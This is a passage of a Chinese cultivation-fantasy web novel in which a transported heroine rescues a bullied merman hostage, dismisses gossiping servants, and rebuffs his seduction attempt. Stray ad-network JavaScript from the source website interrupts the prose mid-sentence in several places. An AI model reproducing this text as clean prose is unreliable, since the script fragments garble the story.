说完幻剑阁中的建筑分布,林戈又说起林氏一脉的亲戚,嫡系旁系,人员之多,关系之乱,听得林见微脑袋发昏,其间还夹杂着林戈对他们的性格点评,生平事迹简述,以及能不能深交之类的。 “林兄,你再说下去,就要说到我们不能听的部分了。”林戈的朋友在一旁打趣,宗门世家,难免有些见不得光的龃龉,那可不是他们该听的。 林 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见微忙朝那白衣胜雪的翩翩公子投去感激的眼神,另一位修士也笑着帮腔道,“是啊,你没看小妹都快分不清谁是谁了吗?” “行,我不说了,日后你待久了,自然就清楚了。”林戈摆摆手。 一行人继续朝落云院去。 沿着鹅卵石铺就的曲折小径,穿过花草争奇斗艳的小园,阵阵香风扑面而来,沁人心脾,林见微正放松精神享受天上的阳光,融融暖意,好不舒服。 倏然。 不远处的假山后传出几道低低的辱骂声。 “一个妖族孽障,也不看看这是哪儿就敢跑进来!” “地阁容不下你了吗?” “嗯?哑巴了?你们鲛人不是最善歌,快唱两句来听听!” “……” 林见微被这声音惊扰,眉头蹙起,同行的修士更是耳聪目明,将假山后的动静听得一清二楚。 骂声过后是拳脚到肉声和一阵低促的闷哼。 “谁在那边!”林戈被人打扰了兴致,面色沉下来。 林见微已三两步快速绕到假山后面,粗略一眼,眸光恰恰撞进一双熟悉的眸子,正仰头看着她,眼尾泛红,仿佛湿漉漉的,她神色一怔,几乎下意识地一把将人从地上拉起来,“你没事吧?” “没事。” 不是旺财的声音。 林见微心底有种说不出的失落,正想松开手,却见一颗圆润小巧的珠子倏然自眼前划过,眼见着要落到地上,她下意识伸手一捞,展开手心,是一颗泪滴大小的白色珍珠。 两人俱是一愣。 常潮生慌忙退开,弓着腰,脸色发白,被人踢打的腹部还隐隐作痛。 鲛人落泪成珠,可刚刚那一滴泪却仿佛不受他的控制,一见到她,不知怎么就落下了,没有缘由。 没有缘由。 “怎么回事?”林戈一眼扫过众人,马上辨认出了两方阵营。 施暴者穿着天阁弟子的统一服侍,显然都认出了他,忙拱手行礼。而受害者一身狼狈,是地阁的修士,垂着头看不清脸上的神色,被林见微牢牢护在身后。 “少家主,我们看这鲛人在园子里鬼鬼祟祟,谁知道是不是手脚不干净,不过教训了他几句。” “教训用得着将人打成这样?”林见微胸口憋着一团火气,真是到哪儿都不缺恃强凌弱,仗势欺人的混蛋,“还是你们亲眼看到他手脚不干净了?” 修真界本就弱肉强食,天阁弟子平日里盛气凌人,欺压地阁修士早不是什么新鲜事,众人也都视而不见,更何况鲛人非人族,而是妖,更受欺凌,今日居然被人落了面子,对方还是个身怀杂灵根的废物凡人! “你一个杂灵……”为首的男修神色不恁,平日里就脾气火爆,现下更是怒火上头,也顾不得什么身份,差点口不择言,幸好被身旁另一人拦下来。 “是,少家主,三小姐,今日是我们行事冲动了些。” “既然知道行事不端,就自己去刑法阁找长老领罚,这大好的日子,真是败兴。”林戈挥挥手将人赶走,这才打量起安静站在边缘处一言不发的鲛人。 一身天青色外袍皱皱巴巴的,发尾高束,脸侧垂落几缕青丝,因着先前与人争执,鬓发稍显凌乱,颔首低眉时眼尾向下,颇有几分楚楚可怜的意味,不愧是海底来的妖物,的确是有些姿色。 “小妹初来乍到,闷在屋子里也无聊,既然中意这鲛人,日后就留他在身边解闷吧。” “啊,不……”林见微刚想拒绝,一偏头看见林戈脸上露出“哥哥什么都懂”的戏谑神情,还拍了拍她的肩膀,语重心长,“不过是鲛人王送上的质子,无足轻重的玩意儿,小妹觉得开心就好。” 林见微脑子卡壳,总觉得这身份听起来有点熟悉,还没等她反应过来,林戈抬手接了一道传讯诀,只随口留下一句嘱咐便叫上几个友人匆匆离开。 “好了小妹,爹找我有些事,让侍女引你回落云院去,这鲛人你也直接带走吧。” 17. 泣泪成珠 “唉,不是……”林见微嘟哝一句,手心里还握着那小小一粒泪滴大的珍珠,转身面向身后的人,“喏,你的东西,还你。” 少女伸出手,却不如他想象中那般白嫩矜贵,手心里布满了薄薄的茧,还有不知道什么时候留下的伤口干结成浅浅的疤痕,那一粒莹白的珍珠卧在手心,光一照,闪着模糊的珠光。 他伸出手。 指尖刚一相触。 “啪嗒——” 又是两颗小小的珍珠从眼角快速滑落。 紧接着,三颗四颗,如断线的珠子,根本不受控制,啪嗒啪嗒敲在石头路面上,再跳起来滚进草丛中。 林见微一惊,顿觉手足无措,连话都说不利索,赶忙凑近了安慰,“唉,不是,你怎么了?哭,哭什么?” 苍天在上,她可什么都没有做!眼下这么一个糟.蹋.调.戏良家妇男的场面算怎么个事?难道是被之前那几个人打哭了? 常潮生也不知自己到底怎么了,好像身体有自己的意识,慌张后退,手忙脚乱想要接住成串落下的泪珠,但顾此失彼,反而一个也没有捞到。 林见微左顾右盼,看了眼跟在身后的侍女,她们倒十分有眼力见地背过身去,假装什么都没有看到。 “你没事吧?”她等到眼前的人情绪似乎稳定下来才小心翼翼试探着开口。 常潮生掐诀收拢起落到地上的珍珠,情绪平复,脸色却冷得可怕,阴沉沉的,一瞬不瞬紧盯林见微。 他一定要弄清楚这人到底给他下了什么邪术! 林见微被他黑洞洞的眼眸盯得发毛,摸了摸鼻子掩饰尴尬,“今日你得罪了天阁的人,再回地阁去恐怕又要被找麻烦,就先暂时跟我回落云院吧。” 说完她自顾自让侍女带路。 常潮生无法,只能默默跟上。 林见微看他跟上来,不动声色放缓脚步,两人比肩而行。 她眼神不住往常潮生身上飘,暗自打量,试探着开口,“话说,我还不知道你的名字……你叫什么?” “常潮生。” “常……什么?”林见微恰好踩到突出的石头上,一个趔趄,下意识攀住常潮生的手臂,下一刻又如触电一般快速退开,避如蛇蝎般与人拉开距离。 常潮生? 难怪她刚刚听林戈提到什么鲛人王,什么质子,会觉得熟悉!原来这人就是书中那爱慕林扶摇爱到偏执成狂的大反派,原主就是被他废了修为扔到永夜城去的! 淦! 原主倒是一死了之,她之前可是在永夜城提心吊胆艰难求生,生啃活鱼啊! “你知道我?”常潮生一双眸子黑沉沉,斜斜睨向她,带着探究。 “没!当然没。”林见微如受惊的兔子,一下子腰都挺直了,连连摆手,面上讪讪,“只是觉得你这个名字还挺好听的……” “哈哈哈……还有你眼睛也挺好看的,跟我以前认识的一个朋友简直长得一模一样……你家里是不是还有什么兄弟姐妹?说不定我认识呢……” 她脑子转地慢慢的,但嘴皮子动得飞快,等意识到自己说了什么的时候已经什么都说出去了,只能继续干笑两声缓解尴尬。 男子却并未应声,手心里还攥着方才接二连三掉落的珍珠,害他丢尽了颜面。 林见微尴尬得左顾右盼,一路打量着园子里的景色,快步将常潮生甩在身后。 一边走一边不住回忆剧情。 常潮生爱上林扶摇,就是俗套的救赎故事。天之骄女无意之中发善心,温暖了自幼受尽欺凌的废柴鲛人,成功达成了“皎皎白月光”的成就。 后来废柴蜕变成强者,常潮生从“美且惨”变成“美强惨”,同时又阴暗偏执,妥妥的病娇属性。 林见微算算时间,这个时候……也不知常潮生和林扶摇有没有见过?要是没见过,她算不算打乱剧情? 思及此,她眉头深深蹙起,表情都写在脸上:一言难尽的嫌弃。 这种病娇大反派,碰上了还是有多远跑多远吧。 “你看到了什么?”常潮生不知何时已悄无声息走到她身边,哪怕是隔着厚厚的脂粉,也将少女脸上的神色尽收眼底,顺着她目光看过去,只看到园中寻常风景。 “哈哈哈没什么。”林见微皮笑肉不笑,默默离他又远了些,“前面快到落云院了……” 说着话,一行人穿过玉砌金雕的拱门便来到了落云院前,林见微不由停下脚步,放缓呼吸。 壕,简直太壕了。 脚下不知什么材质的地砖晶莹剔透,反射出天上璀璨日光,却又不晃眼,反有种蒙蒙珠光之感,置身其中,如堕烟海。 穿过这宽阔平坦的广场,向里越过一层结界,刹那间,香风扑面,已落入一片小园之中,亭台楼阁,曲流婉转。 她简直不敢想这么一大片地方居然就给自己住了! 众人又绕了好一会儿,林见微才终于见到了自己早上踏出门槛时看到的风景,里面就是她休息的卧房! “行了,我累了,你们都干自己的事去吧。”少女摆摆手,迫不及待提起裙裾三两步踏上石阶,一转头却见常潮生还站在原地。 “这里房间这么多,你自己随便挑一个空闲的住下吧。”她眉梢挑起,一双眼睛亮晶晶的,似风波乍起,湖面上波光潋滟,灵动又俏丽。 阶前长风起。 说完,少女也顾不得其他,推门进屋,直奔柔软的床榻,床帐轻晃,鲛纱飘摇,管他什么剧情,什么反派,她现在只想大被一盖,闭眼长眠。 常潮生匆匆一眼,只短暂瞥见一张妆容花得像小猫似的脸,衣袂翩跹,快速跳动着蹦出他的视线。 房门快速阖上,啪一声,平地卷起一阵微弱的气流,吹拂到面上,挠得心里痒痒的。 …… 睡到日头偏西。 林见微起床时神清气爽,也不知是不是吃了丹药的缘故,刚一坐起身肚子便咕咕叫起来,挑开床帐,踩到厚实绵软的地毯上,隔着屏风就已经闻到了饭菜的香气。 刚穿过来时被一群侍女围着,脑子乱糟糟的,也没有多留意这屋中的物件摆设,如今一看,当真大而奢华。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “三小姐,你终于醒了。”待女正好端着水盆要来给她卸去脸上早已经花得不能看的妆容。 林见微回过神来,乖乖仰起脸,配合度非常高,余光却不住观察起身前精致华美的梳妆台,铜镜周围一圈都亮晶晶的,镶嵌着五颜六色的宝石,光从窗棂外照进来,宝石闪烁,煞是好看。 正看得入神,又听身边的侍女接着说道,“家主已派人将礼品和礼单都送来了,现下全部安放在库房中,小姐一会儿可要去看看?” “好啊,等我吃完饭再去。”她忙不迭应下。 厚重的妆面被一点点卸去,顿觉人都通透松快了许多。 铜镜中的少女肌肤依旧粗糙,脸颊削瘦,头发也毛毛躁躁的,斜斜披在肩上,但神色生动狡黠,一双眸子顾盼神飞,思考时候滴溜溜地转着,无端生出惹人怜爱的意味。 站在床榻边整理被褥的侍女拾起那一粒滚到角落里的珍珠,小心递到林见微面前,“小姐,你看这……” “这珍珠……”林见微接过质地光滑细腻的珠子,“对了,常潮生现在……” “小姐说那个鲛人?在隔壁住下了。” “隔壁?就这隔壁?” “是。” 好好好,这大反派还真是会选地方!林见微暗暗咬牙,这事不提便罢,一提起她便觉得头痛,指尖把玩着那小小一粒圆润蒙光的珠子,脑中思绪混乱。 “方才二小姐来过一趟……想问问你在这儿住得舒心与否,又看你在休息,便没有让人打扰。”给林见微梳发的侍女绿竹一边说话一边小心观察着林见微的脸色。 她虽刚入玉山服侍贵人不久,但也早早听闻过林扶摇的美名,或者说整个幻剑阁,整个浮生岛,无人不知无人不晓。 天之骄子,携仙骨而生,据传出生时天生异象,凤鸟衔祥云来朝,鸣声三日不绝,后来更是五岁开灵,于修炼上从无瓶颈,在整个九州大陆上同辈修士中都是排得上名号的人物,仙姿玉容,仰慕者如过江之鲫。 相较之下,眼前这个三小姐就太过普通了,偏偏两人又是真假千金的尴尬关系,若主子心情不顺,拿手下的人撒气,她们也只能受着。 “啊?二小姐,林扶摇?”林见微后知后觉。 “是。” “我知道了。” 侍女已重新替她梳好发髻。 林见微随手将珍珠放进妆奁中,嗖一下起身,快速坐到饭桌前。 两个侍女面面相觑,没料到林见微心这么大,默默退到一边看她对着一桌美食大快朵颐。 大快朵颐的本人则没想那么多,美食当前,她都快饿死了,先吃饱了再说。 管他什么林扶摇,什么常潮生,不妨碍她过自己的日子,大不了兵来将挡水来土掩,她还想早点收拾收拾离开浮生岛,看看能不能找机会寻到旺财! 毕竟一个连做饭都能把自己烫伤的人……也不知道她死后会过上什么日子……虽然至少腿脚痊愈了,但只能希望李延多上点心…… 唉。 真是越想越放心不下。 18. 遣散 酒饱饭足。 林见微挥退侍女,阖上房门,自顾自在屋内转悠起来,东瞅瞅西看看,啧啧称奇,看腻了才终于舍得出门散步消食,顺带让侍女引路,带她慢悠悠往库房去。 落云院中景致错落,前院与后院都花团锦簇,一片山水园林将整个院子环绕起来,似浑然一体,一步一景,处处都新奇雅致。 走着走着,前面便是库房,林见微已远远望见一座大殿,牌匾上龙飞凤舞写着“万珍阁”三个大字,金灿灿的,好不气派。 正要穿过小园时,假山后隐隐约约传来几道说话声,似乎提到了自己,林见微脚步一顿,来了兴趣,朝身边两个侍女做了个噤声的手势,随后轻手轻脚,悄悄朝假山凑近。 绿竹和红桃两人面面相觑,顿感不妙,也忙猫着身子跟在林见微身后。 假山后两个侍女偷闲,并排坐着聊天。 “以三小姐的天赋,估计过了这几天就要被仙子盖过风头去。” “话不能这么说……”另一个侍女看似出声反驳,接下来的话却更刻薄,“她们俩一个天上,一个地下,哪儿值得相提并论。” “三年前我家附近的海域来了一只海妖,在海上兴风作浪,祸害了不少渔船,是仙子亲自前去收妖,若不是手中银钱不够打点关系,我倒是想去明珠院做活。” “就凭你手里那点银钱,明珠院的姑姑都瞧不上,能伴在仙子左右的都是修仙之人,可别白日做梦了。” “唉……”被讥笑的人轻叹一声,转而替林扶摇感到气愤,“你说当年怎么会抱错呢?闹这么一遭,指不定背后有人往仙子身上抹黑!我看家主倒是对新冒出来的小姐看重得紧!” “没事,夫人不是还站在仙子那一边,三小姐回来也好几天了,夫人一次都没来落云院看过,摆明了想给仙子撑腰呢。” “……” 两个侍女还在说话,林见微听得津津有味。 这里面可有她不知道的信息啊,会说就多说一点! 绿竹和红桃看林见微脖子伸长,就差没把耳朵凑到人跟前去听,本想合力将她拉回来,谁知脚下没站稳,身子歪斜,三人你拉着我,我拉着你,摔了个人仰马翻。 “哎哟——” “小姐你没事吧!”绿竹和红桃慌慌张张从地上爬起来,还连拉带拽将林见微也拖起来,“有没有摔到哪儿?” “没事。”林见微摆摆手。 那并排坐着偷偷聊天的两个侍女被她们三人惊动,只差没吓得蹦起来,连忙过来查看,见到林见微出现时,更是脸都吓白了。 “见过三小姐。” “你们说的话,我都听到了。” “三小姐恕罪!”两个侍女连忙跪下。 林见微一惊,下意识后退一步,随后镇定下来,“你们先起来,跟我走。” 说完,她又转头看向绿竹,“你让在落云院里干活的侍女、嬷嬷和小厮都到万珍阁前面来,我有事要说。” “是!”绿竹得了命令,一颔首,匆匆忙忙便退下了,生怕晚了一步被祸及鱼池。 “走吧。”林见微抬步向万珍阁去,招手让身后三人跟上。 红桃脚下飞快,也没忘回头看那两名侍女一眼,神色颇为无奈。 她与绿竹都是缄默老实的人,行事本分谨慎,从不多嘴,因出身不好,手里攒了银钱也不敢乱花,都要托人送到家里,更没钱打点关系。而这两人则要张扬许多,平日里说话也是嘴上不把门的,私下里嬷嬷都敲打过好几次,但两人从未放在心上。 如今,可算是倒了大霉,刚巧撞到主子面前了。 出了小园,万珍阁近在眼前。 红墙金瓦,房檐上翘,伏着栩栩如生的异兽雕塑,异兽口衔金珠,日光一照,仿若活物,林见微心情激动,步上阶梯,推开门,扑面而来一阵风,挟裹着丝丝灵气,让人神清气爽。 屋中陈设却简单得让人差异。 绕过绘有锦绣江山的屏风,房中间放着一张爬满年轮线条的案几,围着它,周遭放了四个绣工精致的蒲团,薄如蝉翼的鲛纱垂在半空中,随风飘动,似梦似幻。 房间并不宽阔,墙面上规规整整划出排排列列的小格子。 还有四颗大而璀璨的珠子嵌在房屋四个角落里,熠熠生辉。 红桃上前解释,“小姐,那四颗珠子可以留存影像,避免库房中宝物失窃,那墙上的小格子中内有乾坤,东西全都分门别类收在里面。” 林见微点点头,好一个仙侠版摄像头和先进的空间收纳技术。 将背后说闲话的两个侍女晾在一边,林见微自顾自参观起来,红桃将之前收好的礼单拿出来给她过目,林见微看得嘴角疯狂上扬,若不是顾及还有外人在场,只怕要乐出声。 没多久,绿竹从门外进来。 “小姐,落云院的人都叫来了。” “知道了!”林见微将墙面上的小抽屉推回去,转身看向被晾在一边的两个侍女,招招手让她们出门,一起到万珍阁外的小广场里。 整个落云院里干活的人都聚在一起,男女老少,乌泱泱站了一大群人,林见微目光扫过,一下子就看到了,常潮生? 怎么把大反派招过来了? 她倏地转头看向绿竹。 “小,小姐?怎,怎么了?”绿竹被盯得不自在,一脸莫名,“人都来了啊?” 算了算了。 林见微强打起精神,又看向众人,眸中笑意已尽数收敛,“我找你们来也没什么大事,在落云院做事,若是觉得委屈了你们,有别的好出路的,现在就可以自行离开,我不会追究。” “这次过后,我不想再听到有人在背后说闲话!否则不会这么轻易就揭过去。” 说罢,她看向之前那两个侍女,“这次就算了,你们俩下去吧。” 她不介意什么真假千金的乌龙,也不在乎有多少人仰慕林扶摇,在背后贬损她。 她喜欢简单、舒心的生活,不想给自己未来的生活上难度,不早早请出去一批喜欢掐尖冒头的林扶摇死忠粉,以后恐怕还能甩脸色给她看。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 修仙日常直接变宅斗日常,这要是都能忍,不是疯了就是傻了。 “是!是!”那两个侍女如蒙大赦,连忙步下台阶,站在人群里去。 “想清楚了吗?到底是走是留?” 底下人群窃窃私语起来,交头接耳。 唯常潮生独自站在最边缘的位置,岿然不动,周身仿佛隔着一层屏障,冰凌凌的,没有人能够近身,他也不屑于接近任何人。 只是目光犹如实质,紧紧缠着站在台阶上的某道清瘦疏寥的身影。 林见微蹙眉,知道常潮生明晃晃在看自己,心里反倒没那么忌惮了,直接回望过去,一对上眼神,常潮生又蓦然垂下头,不欲与她对视。 她心里大为光火,这人什么德性! 有本事就大大方方地看! 与此同时,人群里纷纷议论声弱下来,好些个人已默默向后退,明显有要走的意思,还有一些人心思活络,举棋不定,似乎在观察林见微的脸色。 早在绿竹来的时候,他们就探到了口风,本来还猜想新主子是不是想杀鸡儆猴,没想到是要让他们各奔前程。 “要走的快点,我说过不会追究,说到做到。” 林见微此言一出,先前还在犹豫的人立马不犹豫了,直接退到了人群后面。 看着几乎五五分开的两拨人,她倒是没有多意外,大手一挥直接放人。 站得离林见微稍近一些的老嬷嬷看人走得七七八八,急得头上冒汗,忙凑到林见微跟前低声道,“小姐,人都走了,这么大个院子,活也没人干了!” 林见微看这嬷嬷眼熟,分明就是大清早上将她从床上拉起来,帮她梳洗穿戴礼服的那一个,顿觉亲切,只拍拍她的肩膀示意没事。 等想走的人都走了,剩下的人眼巴巴望着她,等候发落。 “好了,诸位,既然你们都愿意留下来,那日后这种背后嚼舌根的事,就不要再让我撞见。”林见微抬高音量,神色严肃。 “是!”众人齐齐应声。 能留下的都是没什么别的门路,人缘交际也一般的人,性子老实,平日里也不在主子跟前伺候,在哪儿对他们来说都没差别。 林见微看向之前跟自己说话的老嬷嬷,“落云院如今既然还缺人,那就再招些进来,嬷嬷看样子在林氏待了许久,想必也知晓哪些人能用,就找些不胡乱生事端就好。” 老嬷嬷转身看院子里稀稀拉拉站着的人,神色无奈,只能应下这差事。 “大家还是干自己之前干的活,走掉的人那部分要干的活就暂时放着,不用多做。日后在落云院好好干,我不会亏待了大家,今日先送你们一些见面礼吧。” 说着,林见微三两步走下台阶,衣袂生风,脸上重新挂上笑意,从钱袋子里一颗颗往外掏灵石,一一分给在场的人,不够的时候还让红桃去万珍阁里再拿些出来。 顺嘴再问一问众人的名字和平日里负责的活计。 分到最后,常潮生就杵在队伍末尾,看她过来,默默伸出一只骨节分明的手。 19. 美人灯下 林见微一怔,一抬头,恰恰对上那一双幽暗深邃的眸子,日光下,鲛人的皮肤白得发光,那一张昳丽精致的脸仿佛开了十级美颜一般,招惹地她根本舍不得移开眼。 鬼使神差地,她将手里剩下的灵石连带着钱袋子全都给了他,还不忘给自己找补,“你既是修士,修炼也用得上,这些就都给你了吧。” 说完,林见微连忙转身,暗叹自己真是色令智昏,鬼迷心窍! “好了好了,都散了吧!” 收到灵石的众人面面相觑,只觉不可置信。 因他们都是凡人,平日里主子有什么赏赐,都是金银首饰之类的,相比之下,灵石就值钱多了!更何况这还是上品灵石! 一群人谢过林见微之后便欢欢喜喜离开。 常潮生垂眸,手心里的东西沉甸甸的,金色绣线于柔软锦缎中时隐时现,针脚细密,勾勒出一朵艳丽大气的花卉模样,栩栩如生。 “你怎么还不走?”林见微转头又看到他,未等常潮生回应,忽然想到什么,眼底划过流光,神采飞扬,“对了!你是不是也送了贺礼?送了什么?” 他一怔,眸底没由来闪过一抹心虚,眼瞧着林见微已重新迈上台阶,只好快步跟上去。 拿到礼单,林见微一目十行,终于在快到末尾的位置找见了常潮生的名字,指着礼单便念出来,“你送了……一颗夜明珠?” 常潮生身形一顿,神色僵在脸上,不安和难堪在心底相互交织,少女轻飘飘的的目光压在身上,却似千斤重,明明知道她不过是无关紧要的人……还是因这目光而恼怒。 刹那之间,心思千回百转,一抹潮红爬上白皙面庞,他连呼吸都粗重几分。 “夜明珠……晚上真的能发光吗?” 林见微没留意他一瞬间的异样,已兴冲冲奔向那一面存放宝物的“抽屉墙”,看好位置,精准找到了那一颗乳白色的圆润珠子。 拿在手里掂了掂,沉甸甸的,一只手无法握住,两只手勉强可以捧在手心里,表面光滑而细腻,如涂了一层釉一般。 随后她背对大门,不断摆弄长长的袖子,尝试遮挡屋内的光,想看看这夜明珠的“照明效果”。 试了半天也不得法。 逼得她正想蹲下身去用身子圈成一个狭小的黑暗空间,谁知尚未动作,便听咔哒一声响,屋内光线霎时间暗淡下来,仿佛天地沉寂。 常潮生站在门边,顺手关上了门。 屋内气流卷起,撩动漫天鲛纱轻盈似雾,飘渺朦胧,林见微只瞧得见门边人影绰绰,高处的窗棂上落下几缕微光,路径清晰可见,浅色阴影随风舞动,似幻似真。 捧在手心里的珠子亮起微弱的光。 “真的亮了!晚上是不是能更亮?” “嗯。” “能有多亮?” “……” 常潮生不答了,飘摇似欲振翅而飞的鲛纱渐渐平息躁动,乖顺垂到地上,他重新打开门,室内光亮一片,照得不远处朦胧迷离的身影纤毫毕现。 林见微合上抽屉,揣着珠子走出万珍阁,不忘回头朝他招手,“走啦。” …… 回到寝殿。 绿竹和红桃已备好精致的糕点和茶水,她本没什么胃口,但实在架不住那糕点摆盘精致,样式也可爱,便吃了一块,清浅的花香萦绕在鼻尖,整个人心情都明朗不少。 将手擦干净,林见微走到梳妆台前,将夜明珠仔细安放进盒子里,脑中灵光一闪,又将之前那一粒泪滴大小的珍珠找出来,与夜明珠放到一起。 盖子滑拢,只露出一线缝隙,便窥见其中明珠皎皎,光华昳丽。 “绿竹,这落云院内有没有专门用来修炼打坐的地方?” “有啊,就在后面,小姐要我引你过去吗?” “走吧。”林见微伸个懒腰,随手将盒子放在梳妆台上。 她得加紧操练起来了,当过修士之后再重新变作凡人,总感觉不是很方便。 “可是小姐你尚未开灵,以前也没有修炼过……明日便能入天阁修行,还有长老指点,不必急于这一时的……”绿竹忧心忡忡。 她在这幻剑阁做事虽时间不久,可也听过不少小道消息,凡人修仙是与天争命,不少仙君修炼不慎,一个岔子就走火入魔,轻则根基损毁,重则暴毙而亡。 如今小姐刚找回来不久,这落云院都还没什么人气儿,若是出了什么问题,难免不会牵连到她们这种贴身伺候的人身上。 “放心吧,我心里有数。”林见微见不得她一张娃娃脸却皱成个包子样,抬手揉了揉,“带路吧,今夜我可能回来得很晚,你跟红桃不必等着我,早早休息就好。” 绿竹看她态度坚定,只好带路。 “小姐……修炼还是要循序渐进,你不会真的要自己开灵吧?三个月前我还听说地阁有弟子在修炼的时候忽然七窍流血……” “从那以后算是彻底没了成仙的指望了……” 林见微乐呵呵地听着,完全没往心里去,“知道了知道了!还有多久到啊?” 这院子大了也不好,七拐八拐的,还到处都是结界开辟出来的空间,本来地方就大,还往里面加压缩包,等她以后再慢慢探索吧。 “前面就到了。”绿竹看她一点告诫也没听进去,不住叹气,眼巴巴将人送到静轩阁去。 林见微推开门,踏入其中,脚下阵法倏地亮起来,照得一片暗室光芒大盛,她此时身无灵力,但只看这阵法的纹路,也认出了这正是聚灵阵。 修炼一事,一回生,二回熟,少女款款步入阵法中央,端坐于蒲团之上,双目轻阖,周身灵力萦绕,呼吸轻而缓,全神贯注,恍恍惚惚之中只感觉意识于水中沉浮,起起落落。 轻盈又自由。 渐渐神魂仿佛挣脱□□桎梏,周遭灵气犹如实质,冲刷洗涤,而她如一只翩跹无骨的蝶,迎风而行,缓缓将这灵气纳入体内。 …… 至月上中天,满月高悬。 林见微推开静轩阁大门,夜风拂面,满地清辉,白日里的喧闹不见踪影,夜里也别有一番风景,风过簌簌,园林中花草招摇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,声音悦耳。 踏上鹅卵石小径,缓缓而归。 到寝殿前已是半夜。 绿竹和红桃两个小丫头肩靠肩凑在一起,坐在房檐下的石阶上,夜风一起,吹得檐角挂着的风铃叮当作响。 “你们俩怎么守在这儿?我说过不必等我回来。”林见微走路没声,忽然出现在了两人身边,着实将人吓了一跳,只差没跳起来。 “小,小姐!你,你回来了?”红桃神色讪讪,连忙拽着绿竹站起身。 “嗯,你们快点回去休息吧。”林见微没在意她古怪的神色,只以为是两人见自己忽然出现,被吓到了。 “好的好的,我们马上就走,小姐,你,你快回屋吧。”绿竹忙不迭点头,跟红桃手挽着手紧紧挨在一起,但脚步却没有半分要挪动的意思。 两个侍女直直盯着林见微看,眼里冒着兴奋的光,用眼神催促她快些进去。 林见微一脸莫名,摆摆手便迈上石阶,推门进了屋。 一室寂静,但灯光葳蕤。 几盏落地灯支在屋内,灯火如星,一排排的烛台亮着,火星闪烁,每隔几步便是一盏华美精致的烛台,或高或低,靠在墙根边上,错落排布,照得屋子里亮如白昼。 烛台底部却没有积多少融化的蜡水,想必这些燃烧的蜡烛也不是凡品,林见微穿过绕过几面屏风,长风吹拂,鲛纱轻摇,灯火跳动之间人影绰绰,暖色的光照在身上,洗去她从屋外带进来的冷意。 靠近床帏。 纱帐交叠,里面隐隐约约似乎可窥见有人影。 林见微蹙眉,以为自己看眼花了,在静轩阁里折腾到现在,她已成功开灵,不至于连屋内有个人都觉察不出来。 快步上前,一把撩开床帐,却整个人怔住—— 常潮生此时衣衫不整半靠着床,只一件白色中衣松松垮垮穿在身上,丝绸的料子,细腻光滑,胸前衣襟大敞,白皙皮肤下包裹着一层薄薄的肌肉。 仰起脸看她,灯火照进来,阑珊火光印在如玉面庞上,明暗之间光影交错,一双深邃而黑的眸子仿佛纳进这人世纷扰,红尘三千,却独独只看着她。 林见微回过神来,脸上惊疑不定,退后半步,像是不确定一般左右偏头看看屋内的场景,反复确认这儿就是自己的屋子,“你怎么在这儿?这是我的房间。” 常潮生支起身,肩头的衣裳又往下滑落两分。 “你!别动!”林见微满脸惊恐,上前将他敞开的衣襟一把死死拢到一起,严丝合缝,“窗户没关,这夜里风大,衣服穿好,小心别着凉了。” 这该死的大反派到底想作什么妖! “呵——” 常潮生轻笑一声,眼尾漾开一抹淡淡的笑意,却夹霜带雪,抬手摁住她将要收回的手,用力一拉,拽得本就倾身向前的人猝不及防直直栽倒在他身上。 林见微大脑一片空白。 耳侧呼吸喷洒,便听一道低低的声音如山间潺潺流水,似带着勾魂摄魄的魔力一般,自头顶响起,“你带我来落云院,不就是想要这样吗?” 20. 拒绝歪门邪道(6w) 林见微闻言头脑一下子清明了,随即脸色爆红,手忙脚乱从床上爬起来,高声否认,“我没有!你别乱说!” 不愧是大反派,太阴险了!居然来色.诱她! 还好她心志坚定,不为美色所惑! 言罢,她还没忘将锅反手扣到常潮生头上,义正词严,“老实说,你到底想干嘛?我看明明就是你自己心术不正!想走……想走捷径!” 常潮生伸手撩起垂落而下的床帐,鲛纱清清凉凉的,如练一般光滑,仿佛要从指缝中流走,抬起眸光,少女面上红晕未褪,神情故作镇定。 他不急不缓站起身,直逼得眼前人连连退后。 “你怕我?” “怎么会!”林见微止步,挺直腰,虚张声势,“快说,你到底想要什么!” “灵石、丹药、秘籍、法器……”常潮生放缓语调,欺身而上,拈起少女垂落于肩头的一缕青丝,戏谑之意不加掩饰,“你若是能给我,要我做什么,我都听你的。” “不行!”林见微退开一步,抓起榻上的小毯子将常潮生裹得跟蚕蛹一样,手忙脚乱推着他快速往寝殿外走,“年轻人走歪门邪道要不得!落云院不搞钱.色交易!走走走,快回去洗洗睡吧!” 说着,她打开门,一把将人推出去。 没料到绿竹和红桃两人还没走,好巧不巧正竖着耳朵听屋内的动静,两拨人撞了个正着,面面相觑。 “小姐,你……你们还没睡呢?”绿竹和红桃忙不迭让路,看常潮生裹得跟粽子一样被人推出来,双双对视一眼,面上讪讪。 林见微挥手将站在台阶下的常潮生赶出院子,这才回头打量起两个侍女,双手叉腰。 “我说你们两个大晚上不睡觉……见了我还做出这副表情……原来是做了亏心事!随随便便就把人放进我房间了!” “小姐,冤枉啊!”绿竹连忙叫屈,还不忘朝红桃使眼色。 红桃立马会意,飞快甩锅给常潮生,“是那个鲛人自己主动找过来的,他会法术!我们也没有办法!” “再说了,鲛人貌美,九州四海中人人皆知。”绿竹飞快瞥林见微一眼,小声嘀咕,“他识相主动送上门来,小姐你也不亏……” “而且,这幻剑阁里别的主子身边也有鲛人作伴……” “等等!”林见微打断两人的一唱一和,一下子抓住重点,“你们是说玉山林氏还有别的鲛人?” “当然啦,鲛人族不敌咱们岛上的仙君,鲛人王时不时就会送些鲛人上岸。”绿竹斟酌半天才想到合适的说辞,“嗯,送上来……当礼物,以表归附之心。” 林见微顿觉不妙,压低声音问道,“那他们将鲛人养在身边是为了?” “小姐!”绿竹忙打断她的话,羞红了脸,目光飘忽,“当然就是为了那点事……” 林见微脑中灵光一闪,忽然反应过来—— 他果然就不该把常潮生带回来! 以玉山林氏众人这对待鲛人的风气,她既然把人带回来,不就等于暗示想跟他发生点什么? 难怪刚刚—— 想想自己之前说的那些冠冕堂皇的话,林见微只想找个地缝钻进去!脸上的表情也跟打翻的调色盘一样精彩。 